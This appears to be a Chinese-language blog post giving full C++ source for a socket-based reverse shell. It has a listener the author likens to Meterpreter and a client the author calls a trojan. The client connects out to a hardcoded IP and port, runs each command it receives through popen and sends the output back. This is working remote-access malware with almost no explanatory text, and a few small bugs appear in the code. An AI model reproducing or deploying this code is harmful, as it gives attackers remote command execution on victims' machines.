Socket实现交互式shell代码

Posted 2020-11-25 I0gan

Socket实现交互式shell

使用socket系列函数实现，原理很简单,就不多说了.

服务端代码: (相当于metepreter)

#include <iostream>
#include <cstdio>
#include <cstring>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <cstdlib>
#define SERVER_PORT 3456
using namespace std;

void shell() {
        int sock;
        struct sockaddr_in server_addr;
        sock = socket(AF_INET, SOCK_STREAM, 0);

        bzero(&server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
        server_addr.sin_port = htons(SERVER_PORT);

        bind(sock, (struct sockaddr *)&server_addr, sizeof(server_addr));


        cout << "Waiting client..." << endl;
        listen(sock, 128);
        char *buf =(char *)malloc(0x1000);
        int text_len = 0;

        struct sockaddr_in client;
        int client_sock;
        char client_ip[64];
        socklen_t client_addr_len = sizeof(client);

        client_sock = accept(sock, (struct sockaddr *)&client, &client_addr_len);
        cout << "Successful connection!"
        << endl
        << "Client ip: "
        << "    port: "
        << ntohs(client.sin_port)
        << endl;

        while(true) {
                text_len = read(client_sock, buf, 0x1000 - 1);
                if(text_len > 0){
                        buf[text_len] = 'x00';
                        cout << buf;

                        fgets(buf, 0x200, stdin);
                        if(!strcmp(buf, "exit")) {
                                cout << "Closed connection" << endl;
                                write(client_sock, "exit", 0x5);
                                break;
                        }
                        write(client_sock, buf, strlen(buf) + 1);
                }
        }
        close(client_sock);

}

int main(void) {
        setbuf(stdin, 0);
        setbuf(stdout, 0);
        shell();
        return 0;
}

客户端代码: (相当于木马)

#include <cstdlib>
#include <iostream>
#include <cstdio>
#include <cstring>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define SERVER_PORT 3456
#define SERVER_IP "192.168.100.3"
using namespace std;
void exeCmd(const char *cmd, char *result)
{
        char buf_ps[1024];
        char ps[1024]={0};
        FILE *ptr;
        strcpy(ps, cmd);
        if((ptr=popen(ps, "r"))!=NULL)
        {
                while(fgets(buf_ps, 1024, ptr)!=NULL)
                {
                strcat(result, buf_ps);

//              if(strlen(result) > 4000)
                break;
        }
        pclose(ptr);
        ptr = NULL;

        }
        else
        {
                cout << "popen error: " << ps << endl;
        }
}
void shell(){
        int sockfd = 0;
        struct sockaddr_in serveraddr;
        char *buf_r = (char *)malloc(0x1000);
        char *buf_w = (char *)malloc(0x1000);
        int text_len = 0;

        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        bzero(&serveraddr, sizeof(struct sockaddr_in));
        serveraddr.sin_family = AF_INET;

        inet_pton(AF_INET, SERVER_IP, &serveraddr.sin_addr);
        serveraddr.sin_port = htons(SERVER_PORT);

        while(true){
                cout << "connecting";
                connect(sockfd, (struct sockaddr *)&serveraddr, sizeof(serveraddr));
                if(sockfd > 0) {
                cout << "connected!";
                write(sockfd, "connected!", 0x10);
                        break;
                }
        }
        while(true) {
                text_len = read(sockfd, buf_r, 0x1000 - 1);
                buf_r[text_len] = 'x00';
                if(text_len > 0) {
                        exeCmd(buf_r, buf_w);
                        text_len = strlen(buf_w);
                        if(!strcmp(buf_r, "exit")) {
                                break;
                        }
                        write(sockfd, buf_w, text_len + 1);

                }
        }
        close(sockfd);
}
int main(void) {
        setbuf(stdin, 0);
        setbuf(stdout, 0);
        shell();
        return 0;
}